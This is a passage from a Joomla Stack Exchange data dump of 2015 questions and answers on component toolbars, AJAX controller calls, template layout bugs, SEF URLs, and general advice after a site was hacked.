error&lt;/p&gt;&#xA;" OwnerUserId="154" LastEditorUserId="154" LastEditDate="2015-08-13T12:00:01.227" LastActivityDate="2015-08-13T12:00:01.227" CommentCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="12164" PostTypeId="2" ParentId="6962" CreationDate="2015-08-13T12:23:54.457" Score="1" Body="&lt;p&gt;You need to have a Controller method that can be called by ajax request (&lt;a href=&quot;https://joomla.stackexchange.com/questions/10814/call-controllers-publish-function-from-outside/12106#12106&quot;&gt;may this help&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method will insert in the database using the db instance of joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, all you need is is call the ajax by a onClick event in your module.&lt;/p&gt;&#xA;" OwnerUserId="5681" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2015-08-13T12:23:54.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12165" PostTypeId="1" AcceptedAnswerId="12177" CreationDate="2015-08-13T21:23:11.307" Score="3" ViewCount="1614" Body="&lt;p&gt;I'm working on my own component and i'm trying to add a custom button to my admin view that calls a task. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;In view.html.php &#xA;&#xA;protected function addToolBar() {&#xA;JToolBarHelper::custom('addApplicationToDB', 'generic.png', 'generic.png', 'Add Test Application'); &#xA;JToolBarHelper::custom('jobApplications.addApplicationToDB', 'generic.png', 'generic.png', 'Add Test Application'); &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the bottom of my default.php i've added &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;&quot; /&amp;gt; &#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;boxchecked&quot; value=&quot;0&quot; /&amp;gt;     &#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;controller&quot; value=&quot;jobApplications&quot; /&amp;gt; &#xA;&amp;lt;?php echo JHtml::_('form.token'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Although I don't really understand what it does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My controller is in admin/controllers/jobApplications.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// No direct access to this file&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;jimport('joomla.application.component.controller');&#xA;&#xA;class jobapplicationsControllerjobapplications extends JControllerAdmin {&#xA;public function addApplicationToDB() {&#xA;    echo &quot;Add Application pressed!!!&quot;;&#xA;    $mainframe = JFactory::getApplication();&#xA;            echo &quot;Add Application pressed!!!&quot;;&#xA;    $db = JFactory::getDBo();&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The errors i keep getting is &quot; Uncaught TypeError: Cannot read property 'boxchecked' of undefined &quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm stumped... I have no idea what is wrong or where to go about fixing it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the full code : &lt;a href=&quot;https://github.com/gicadin/com_jobApplications&quot; rel=&quot;nofollow&quot;&gt;https://github.com/gicadin/com_jobApplications&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5731" LastActivityDate="2017-03-21T05:00:16.237" Title="JToolBar custom button error" Tags="|joomla-3.x|custom-component|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12166" PostTypeId="2" ParentId="6962" CreationDate="2015-08-13T21:36:18.793" Score="2" Body="&lt;p&gt;I've done something similar recently except i'm deleting from the database. I'm guessing you can modify the code to update instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the ajax call in default.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;function ajaxDeleteEvent(finput)&#xA;{&#xA;    $.ajax({&#xA;        url:&quot;index.php?   option=com_jobApplications&amp;amp;task=deleteApplication&amp;amp;id&quot;, &#xA;        method:'POST',&#xA;        data: &quot;id=&quot;+finput,&#xA;        success:&#xA;            function(data)&#xA;            {&#xA;                $(&quot;#container-&quot;+finput).remove();&#xA;                console.log(data); &#xA;            },&#xA;        error:&#xA;            function(e)&#xA;            {   &#xA;                console.log(&quot;u done goofed&quot;);&#xA;                console.log(e.message);&#xA;            }&#xA;    });&#xA;}&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in controller.php i have&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function deleteApplication()&#xA;{&#xA;    $mainframe = JFactory::getApplication(); &#xA;    $id = JRequest::getVar(&quot;id&quot;,null,&quot;post&quot;,&quot;int&quot;);&#xA;    // Check if id is set&#xA;    if ( isset( $id ) )&#xA;    {&#xA;        // remove that application from database&#xA;        $db = JFactory::getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        ...&#xA;&#xA;    }   &#xA;    $mainframe-&amp;gt;close();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5731" LastActivityDate="2015-08-13T21:36:18.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12167" PostTypeId="1" AcceptedAnswerId="12168" CreationDate="2015-08-14T09:43:29.683" Score="1" ViewCount="39" Body="&lt;p&gt;I have a strange problem with the html-structure of following joomla-page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://tnav.mascomm.be/evenementen&quot; rel=&quot;nofollow&quot;&gt;http://tnav.mascomm.be/evenementen&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sidebar has been pushed to the far left (not visible on small screen sizes), and the footer is much smaller than it used to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It used to look exactly like this page &lt;a href=&quot;http://tnav.mascomm.be/nieuws&quot; rel=&quot;nofollow&quot;&gt;http://tnav.mascomm.be/nieuws&lt;/a&gt; , but the structure somehow changed. When I looked at the structure with the firebug tool I have a better idea of the problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; used to look like this (rough structure):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;&#xA;&amp;lt;div class=&quot;t3-wrapper&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;t3-mainbody&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;t3-content&quot;&amp;gt;…&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;t3-sidebar&quot;&amp;gt;…&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;t3-footnav&quot;&amp;gt;…&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But now, without making any fundamental changes (as far as I know, maybe our customer messed around in the backend?) , it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;&#xA;&amp;lt;div class=&quot;t3-wrapper&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;t3-mainbody&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;div id=&quot;t3-content&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;t3-sidebar&quot;&amp;gt;…&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div id=&quot;t3-footnav&quot;&amp;gt;…&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;SUMMARY:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;#t3-mainbody&lt;/code&gt; and &lt;code&gt;#t3-footnav&lt;/code&gt; used to have the same level in the html-hierarchy, but now &lt;code&gt;#t3-footnav&lt;/code&gt; is inside of &lt;code&gt;#t3-mainbody&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;#t3-content&lt;/code&gt; and &lt;code&gt;.t3-sidebar&lt;/code&gt; used to have the same level in the hierarchy , but now &lt;code&gt;.t3-sidebar&lt;/code&gt; is inside &lt;code&gt;#t3-content&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Both pages have a different structure, although the same template is assigned to them. Does anyone have any idea what happened here and what may be a solution? &lt;/p&gt;&#xA;" OwnerUserId="5734" LastActivityDate="2015-08-14T10:08:51.707" Title="Strange html-structure shift in specific joomla-page" Tags="|joomla-3.4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12168" PostTypeId="2" ParentId="12167" CreationDate="2015-08-14T10:08:51.707" Score="0" Body="&lt;p&gt;You have an unclosed div element on the first page as you can check with this tool:&#xA;&lt;a href=&quot;https://validator.w3.org/nu/?doc=http%3A%2F%2Ftnav.mascomm.be%2Fevenementen&quot; rel=&quot;nofollow&quot;&gt;https://validator.w3.org/nu/?doc=http%3A%2F%2Ftnav.mascomm.be%2Fevenementen&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-08-14T10:08:51.707" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12169" PostTypeId="1" AcceptedAnswerId="12170" CreationDate="2015-08-14T10:13:55.623" Score="6" ViewCount="1788" Body="&lt;p&gt;My website was hacked. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After investigation I found that it was because a hacked &lt;code&gt;index.html&lt;/code&gt; was placed on my Joomla folder ( at the same level with &lt;code&gt;index.php&lt;/code&gt; and &lt;code&gt;configuration.php&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder how did hackers place the &lt;code&gt;index.html&lt;/code&gt; on my Joomla folder? That seems like a pretty deep penetration, being able to drop the files at will at the root folder of my web server!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can they do this without having access to my cpanel password and FTP password? &lt;/p&gt;&#xA;" OwnerUserId="5735" LastEditorUserId="5735" LastEditDate="2015-09-26T02:12:02.840" LastActivityDate="2015-09-26T05:15:29.513" Title="How can index.html be placed on my Joomla root folder?" Tags="|security|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12170" PostTypeId="2" ParentId="12169" CreationDate="2015-08-14T10:26:52.653" Score="2" Body="&lt;p&gt;Yes, aside from knowing your FTP password and just uploading files to your server you can place files on the server with &lt;strong&gt;Remote File Inclusion&lt;/strong&gt; attack&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should always keep your installation and all your extensions up-to-date to reduce the risk of such attacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of a bug which allowed Remote File Inclusion:&#xA;&lt;a href=&quot;http://www.rapid7.com/db/vulnerabilities/joomla-20140903-core-remote-file-inclusion&quot; rel=&quot;nofollow&quot;&gt;http://www.rapid7.com/db/vulnerabilities/joomla-20140903-core-remote-file-inclusion&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read some more about it here:&#xA;&lt;a href=&quot;http://securityxploded.com/remote-file-inclusion.php&quot; rel=&quot;nofollow&quot;&gt;http://securityxploded.com/remote-file-inclusion.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-08-14T10:26:52.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12171" PostTypeId="1" CreationDate="2015-08-14T10:40:02.653" Score="0" ViewCount="672" Body="&lt;p&gt;I would like to display an image which is not accessible for users (.htaccess denies all).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my source:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;header('Content-Type: image/png');          &#xA;&#xA;$filePath                       =   JPATH_SITE.'/images/powered_by.png';&#xA;$image                          =   new Imagick(&quot;{$filePath}[0]&quot;); // [0] means &quot;first page&quot;&#xA;$image-&amp;gt;setImageFormat('png');&#xA;echo $image;            &#xA;exit;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At this moment this code is located on a sub controller called &quot;attachment.php&quot; and is called by opening a modal view (&amp;amp;task=attachment.showAttachment).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm getting a lot of strange symbols. But why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there Joomla-On-Board-Tools to include this image? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1ApQA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1ApQA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just mentioned that if I'm opening the file in a new tab everything is fine. The problem only occurs if I want to use it in a modal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;&amp;lt;li&amp;gt;  &amp;lt;a  href='index.php?option=com_bestia&amp;amp;task=attachment.showAttachment&amp;amp;id=$attachmentid&amp;amp;tmpl=component' &#xA;                class='modal' rel='{size: {x: 980, y: 500}, &#xA;                closable: true}'&amp;gt;&#xA;                &amp;lt;i class='icon-search'&amp;gt; &amp;lt;/i&amp;gt;&#xA;                    $filename&#xA;            &amp;lt;/a&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4028" LastEditorUserId="4028" LastEditDate="2015-08-14T15:58:20.817" LastActivityDate="2018-06-14T14:50:18.973" Title="Display Image via Imagick" Tags="|php|joomla-3.4|images|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12172" PostTypeId="2" ParentId="12169" CreationDate="2015-08-14T10:47:57.587" Score="2" Body="&lt;p&gt;One of those &quot;&lt;em&gt;My Website was Hacked&lt;/em&gt;&quot; scenarios.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, first thing that I honestly hope you have, is the latest version of Joomla. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Joomla 3.x: &gt;&gt; &lt;strong&gt;3.4.3&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Joomla 2.5: &gt;&gt; &lt;strong&gt;2.5.28&lt;/strong&gt; (&lt;em&gt;start considering migrating to Joomla 3.x&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Joomla 1.5: &gt;&gt; &lt;em&gt;You should not even be on this version&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Joomla 1.0: &gt;&gt; &lt;em&gt;I do not sympathize in the slightest&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;One possible reason for being able to upload a file to the root directory is a vulnerable upload extension, which I can assure you, do exist unfortunately. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possibility is having access to your backend. If a hacker gains access to your admin backend, they could upload a simply PHP upload script, allowing them to then upload a tonne of malicious scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please be sure all your passwords for the admin backend, FTP, cPanel are all strong and preferably different, and also that any extensions you use are always up to date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote an answer on Stack Overflow a while back with some tips:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/11036763/joomla-2-5-4-hacked-having-trouble-with-diagnosis/11037642#11037642&quot;&gt;https://stackoverflow.com/questions/11036763/joomla-2-5-4-hacked-having-trouble-with-diagnosis/11037642#11037642&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-08-14T11:59:40.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12173" PostTypeId="2" ParentId="12169" CreationDate="2015-08-14T11:15:33.017" Score="2" Body="&lt;p&gt;That's a pretty common way for hackers to demonstrate that they got access to your website.&lt;/p&gt;&#xA;&lt;p&gt;Of course, it's possible that someone has access to your account credentials (hosting, Joomla, FTP). But it can also be that your website has some vulnerabilities. This is usually because of outdated software which can be exploited, allowing malicious users do all sort of things to your website.&lt;/p&gt;&#xA;&lt;p&gt;I recently had to clean up and secure a website, on which the hosting's company malware scanner was constantly founding infected files in it.&#xA;When I started my investigation, I discovered that alongside with the actual live Joomla site, which was almost up-to-date, there were dozens of other old Joomla installations, not maintained.&lt;/p&gt;&#xA;&lt;p&gt;It was one of those hosting accounts, that allow many websites to co-exist, but the owner was not interested in all his other site and had left them with no maintenance and upgrades.&lt;/p&gt;&#xA;&lt;p&gt;These outdated sites/files was the entry point for the hackers and with getting access to the root directory, there were able to affect everything inside it, even the updated Joomla site.&lt;/p&gt;&#xA;&lt;p&gt;So, a general good rule is to keep everything up-to-date and clean.&lt;/p&gt;&#xA;&lt;p&gt;Now, if you do a google search you will find plenty of information about dealing with a hacked Joomla site and how to secure it.&lt;/p&gt;&#xA;&lt;h3&gt;Resources:&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/2305/what-to-do-if-my-joomla-website-got-hacked&quot;&gt;What to do if my Joomla website got hacked?&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/175/how-to-secure-a-new-joomla-installation&quot;&gt;How to secure a new Joomla installation?&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;And of course the &lt;a href=&quot;https://docs.joomla.org/Security_Checklist&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Joomla Security Checklist Documentation&lt;/strong&gt;&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Try to follow all these instructions, and when done remember to have all your accounts credentials updated.&lt;/p&gt;&#xA;&lt;p&gt;If you feel insecure or incapable to perform these at your own, I would suggest to hire a professional to assist you.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-09-26T05:15:29.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12174" PostTypeId="1" CreationDate="2015-08-14T17:25:12.083" Score="1" ViewCount="179" Body="&lt;p&gt;I have problems with the url, are duplicating to google&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.villadelia.es/blog-de-bodas/sofia-y-ruben-una-boda-con-mucha-poesia&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;delete &quot;blog-de-bodas&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.villadelia.es/sofia-y-ruben-una-boda-con-mucha-poesia&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I revised final of the archive .htaccess and is the same than another pages&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteCond %{REQUEST_URI} !^/index.php&#xA;RewriteCond %{REQUEST_URI} (/|\.php|\.html|\.htm|\.feed|\.pdf|\.raw|/[^.]*)$  [NC]&#xA;RewriteRule (.*) index.php&#xA;RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization},L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you dont mind help me.&lt;/p&gt;&#xA;" OwnerUserId="5738" LastEditorUserId="174" LastEditDate="2015-08-14T18:51:59.587" LastActivityDate="2015-08-14T20:06:44.720" Title="Url friendly .htaccess and Joomla 3.4" Tags="|joomla-3.x|server|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12175" PostTypeId="2" ParentId="12174" CreationDate="2015-08-14T18:58:03.573" Score="1" Body="&lt;p&gt;In Joomla, Sef Url cannot customized in .htaccess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Url Routing is managed at Joomla level. You can work with the standard router or install an extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In both cases, router defines a path to access content according to your navigational menu organization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can have several valid access paths. Google discovers content navigating all published links. Thus, you have to restrict what it discovers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to only publish certain types of Urls, then you have to restrict public access paths. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PD: Even though, many valid access paths may exist to an object. In your example, you show an Url to an article in a category and the same article without category.&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2015-08-14T19:24:02.157" LastActivityDate="2015-08-14T19:24:02.157" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12176" PostTypeId="2" ParentId="12174" CreationDate="2015-08-14T20:06:44.720" Score="1" Body="&lt;p&gt;For the people that have my problem I find a solution, is very crazy and sorry my bad english&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JmMKy.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JmMKy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only I change the article that link the menu item from number 1 to number 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in this moments  works well, it is not a problem of .htaccess and I see the article that the two is in the same category and not understand nothing, but works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.villadelia.es/blog-de-bodas/sofia-y-ruben-una-boda-con-mucha-poesia&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.villadelia.es/blog-de-bodas/sofia-y-ruben-una-boda-con-mucha-poesia&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;than withought &quot;blog-de-bodas&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you and hope help any people the next time.&lt;/p&gt;&#xA;" OwnerUserId="5738" LastActivityDate="2015-08-14T20:06:44.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12177" PostTypeId="2" ParentId="12165" CreationDate="2015-08-14T22:39:35.400" Score="1" Body="&lt;p&gt;Okay a custom button only needs this string in the form.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;&quot; /&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The button posts to the controller and there you need to setup the method that this button targets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your code code for the addToolbBar method should look like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JToolBarHelper::custom('controllername.taskname', 'generic.png', 'generic.png', 'Add Test Application'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So lets say your controller name is &quot;jobApplications&quot; and your task in the controller is &quot;addApplicationToDB&quot; then it should look like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JToolBarHelper::custom('jobApplications.addApplicationToDB', 'generic.png', 'generic.png', 'Add Test Application');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the controller file that is in the controllers folder you need to add the following method&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    public function addApplicationToDB()&#xA;    {&#xA;        // Check for request forgeries&#xA;        JSession::checkToken() or die(JText::_('JINVALID_TOKEN'));&#xA;&#xA;        // make sure it is a user&#xA;        $user = JFactory::getUser();&#xA;        if ($user-&amp;gt;id)&#xA;        {&#xA;            // do your thing&#xA;        }&#xA;        return;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here I have a &lt;a href=&quot;https://github.com/namibia/demo-joomla-3-component&quot; rel=&quot;nofollow&quot;&gt;demo component on github&lt;/a&gt; that has a &lt;a href=&quot;https://github.com/namibia/demo-joomla-3-component/blob/master/admin/views/looks/view.html.php#L146&quot; rel=&quot;nofollow&quot;&gt;custom button implementation&lt;/a&gt; take a look also at the &lt;a href=&quot;https://github.com/namibia/demo-joomla-3-component/blob/master/admin/controllers/looks.php#L42&quot; rel=&quot;nofollow&quot;&gt;controller&lt;/a&gt; and other scripts related.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the following &lt;a href=&quot;https://docs.joomla.org/Creating_a_toolbar_for_your_component&quot; rel=&quot;nofollow&quot;&gt;url&lt;/a&gt; for more info, hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2166" LastEditorUserId="2166" LastEditDate="2015-08-24T20:30:20.560" LastActivityDate="2015-08-24T20:30:20.560" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12178" PostTypeId="1" CreationDate="2015-08-15T00:10:38.747" Score="2" ViewCount="1133" Body="&lt;p&gt;I have two different templates on my site, lets just call them Tcat and Titem.&#xA;My k2 category view page is using Tcat, that is, the menu item of k2 category view page is associated with Tcat. I want the k2 item pages to use Titem, that is, when I click an item link in the category view page, I hope the new page showing this item will be using Titem. However, by default, this new item page will be using Tcat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this is because there is a &quot;itemid=xxx&quot; parameter in the link href.&#xA;As far as I know, a k2 item can be open through URL like &lt;code&gt;mysite.com/index.php?option=com_k2&amp;amp;view=item&amp;amp;id=10&lt;/code&gt;, in this case, with no menu item id in the URL, the page will be using the default template; but if &lt;code&gt;Itemid&lt;/code&gt; parameter is added and the URL looks like &lt;code&gt;http://67.20.67.232/index.php?option=com_k2&amp;amp;view=item&amp;amp;id=10&amp;amp;Itemid=150&lt;/code&gt;, then the page will be using the template associated with &lt;code&gt;#150&lt;/code&gt; menu item. Problem is, since I've associated the category view with &lt;code&gt;#150&lt;/code&gt; menu item, the links of all items in this category seem to always have this &lt;code&gt;Itemid=150&lt;/code&gt; parameter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm always encountering similar problem with k2. One workaround I can think of is using javascript to eliminate that &lt;code&gt;Itemid&lt;/code&gt; parameter, another not so practical way is to associate each item with a menu item that is associated with Titem.... Is there any other way? Maybe by hardcoding some PHP? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides, In k2 template php files, the link is generated by something like  &lt;code&gt;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;link ?&amp;gt;&lt;/code&gt;, I think if I find out how the &lt;code&gt;$this-&amp;gt;item&lt;/code&gt; object is conducted, I may find a way to hardcode it. But my PHP knowledge is very limited, upon some researching, I can only get as far as finding out that &lt;code&gt;$this&lt;/code&gt; is an instance of  &lt;code&gt;k2ItemviewList&lt;/code&gt; class in &lt;code&gt;com_k2/views/itemlist/view.html.php&lt;/code&gt;, but this class only have one member: &lt;code&gt;function display($tpl = null)&lt;/code&gt;, the &lt;code&gt;item&lt;/code&gt; is nowhere to be found. I am learning PHP and trying to understand joomla core and k2 core, this is why I am not satisfied with javascript solution. If you can explain how to track the codes behind &lt;code&gt;$this-&amp;gt;item-&amp;gt;link&lt;/code&gt;, that will help a lot with my learning. Any hint is greatly appreciated. Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="5680" LastEditorUserId="5680" LastEditDate="2015-08-15T00:15:57.997" LastActivityDate="2015-08-15T07:29:19.617" Title="How to remove menu item ID from k2 item link" Tags="|k2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12179" PostTypeId="1" AcceptedAnswerId="12180" CreationDate="2015-08-15T00:50:47.877" Score="2" ViewCount="36" Body="&lt;p&gt;&lt;strong&gt;When developing a plugin, what are the PluginGroup types that I can use in Joomla?&lt;/strong&gt;&#xA;For example, if you were to create a search plugin the &lt;code&gt;&amp;lt;PluginGroup&amp;gt;&lt;/code&gt; would be &lt;code&gt;Search&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to find a list of the types currently in use in Joomla, but so far no luck.&#xA;Another related question: &lt;strong&gt;Is it possible to create your own plugin group name?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question was inspired by this tutorial&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&lt;/a&gt;&#xA;It recommends using the PluginGroup to create a classname for the plugin like so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    class 